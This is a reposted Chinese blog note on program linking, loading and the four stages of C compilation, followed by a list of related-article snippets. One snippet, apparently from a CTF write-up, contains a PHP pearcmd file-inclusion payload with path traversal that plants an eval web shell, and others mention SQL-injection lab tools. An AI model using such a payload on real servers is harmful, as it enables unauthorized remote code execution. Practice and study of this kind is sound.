程序的链接和装入

news/2025/1/17 5:49:59/文章来源:https://www.cnblogs.com/AH20/p/18339659

程序的链接和装入

img

img

img

思考这样一个问题,逻辑地址是在链接时形成的还是在装入时形成的。应该是在链接时就已经形成了逻辑地址,后面的装入确定了物理地址

C语言编译的过程

C语言编译分为预处理、编译、汇编和链接四个过程

预处理

预处理用于将所有的#include头文件以及宏定义替换为其真正的内容,预处理得到的仍然是文本文件

编译

这里的编译指的不是程序从源文件到二进制程序的全部过程,而是经过预处理之后的程序转换为特定汇编代码的过程

汇编

汇编过程将上一步的汇编代码转化为机器码,这一步产生的文件叫做目标文件,是二进制格式

链接

链接将多个目标文件以及所需要的库文件链接成最终的可执行文件。

参考文献

C语言编译过程详解

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/776837.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

NewStarCTF WEEK5|WEB 4-复盘

打开题目研究一圈没啥营养价值 下载源码发现好东西if (file_exists($page)) {require_once $page; }else{require_once pages/error_page.php;}活的文件包含 我们直接利用 ?+config-create+/&page=../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[a])…

VS2022+Qt6环境问题汇总

1、安装Qt6时无open source模式只有商业模式Qt账号注册问题,注册时没有选择个人模式,需要重新注册账号 1、无法打开.ui文件扩展-->Qr VS Tool-->OptionsRun in detached windows 选择 True

【攻防技术系列+SQL注入】mysql靶场1.0

墨者靶场(SQL手工注入漏洞测试(MySQL数据库))工具 dirsearch sqlmappython dirsearch.py -u http://<IP>:<端口>/在登录界面,没有账户和密码,也进不去,就在没啥收获的时候,直觉告诉我要打开F12开发者模式,这次信它,就在东点点西点点的时候,我发现了什么。…

mysql数据库查询时用到的分页方法有哪些

在处理数据库查询时,我们经常需要对结果进行分页,以便在用户界面上提供更好的浏览体验。MySQL提供了几种不同的方法来实现这一功能,其中最常见的是使用LIMIT子句。以下是三种使用LIMIT进行分页的基本方法。 一、使用LIMIT子句LIMIT子句用于指定查询结果的最大记录数。它的基…

【攻防技术系列+SQL注入】mysql靶场

墨者靶场(SQL手工注入漏洞测试(MySQL数据库))工具 dirsearch sqlmappython dirsearch.py -u http://<IP>:<端口>/在登录界面,没有账户和密码,也进不去,就在没啥收获的时候,直觉告诉我要打开F12开发者模式,这次信它,就在东点点西点点的时候,我发现了什么。…

从汇编层面看c/c++函数调用过程

函数调用分析 前置知识:全局变量:在函数内部定义的变量 局部变量:在函数外部定义的变量 esp:存储当前函数栈底的地址 ebp:存储当前函数栈顶的地址对于函数形参(实际上):简单:cpu寄存器中 复杂:栈中开空间函数调用机制:局部变量占用的内存是在程序执行过程中“动态”…

算法理论:KMP 学习笔记

\(\text{KMP}\) 笔记! 上次比赛,出题人出了一个 \(\text{KMP}\) 模板,我敲了个 \(\text{SAM}\) 跑了,但是学长给的好题中又有很多 \(\text{KMP}\),于是滚回来恶补字符串基本算法。 \(\text{KMP}\) 是上个寒假学的,为什么最近才完全理解,但 \(\text{KMP}\) 短小精悍,极其…

c/c++函数调用过程(结合汇编指令详细分析)

函数调用分析 前置知识:全局变量:在函数内部定义的变量 局部变量:在函数外部定义的变量 esp:存储当前函数栈底的地址 ebp:存储当前函数栈顶的地址对于函数形参(实际上):简单:cpu寄存器中 复杂:栈中开空间函数调用机制:局部变量占用的内存是在程序执行过程中“动态”…

vs2015卸载和安装

vs2015卸载和安装 0. 摘要 可能对大家有帮助的地方:a. vs2015卸载和安装的流程;b. 安装时的error:“team explorer for microsoft visual studio 2015 update 3 ctp1 error” 解决方式;c. vs2015社区版的下载地址; 如果这三点不能解决你遇到的问题,就没必要往下看了。 1. …

CSP13

T1本来是道状压签到题,看成博弈论了,其实是不对的,为什么不对,建图时是存在环的情况的,所以不能建一棵树后跑\(sg\)函数 所以根据数据范围,我们可以状压,这就很简单了,每一次继承的状态为子状态相反的状态(不要试图只表示赢得状态)考试代码(41,43)pts #include <bits…

秒杀防止超卖方案测试(使用JMeter进行压力测试)

不进行任何防超卖操作,实测500个线程跑完不需要1s。虽然卖得快,但是超卖了哈哈哈。那么为了避免超卖我们对确认下单的方法加上synchronized: 实测发现确实没有超卖了,500个线程跑完需要44s,速度也太慢了,另外不支持多节点防止超卖,所以这个方案也不可取!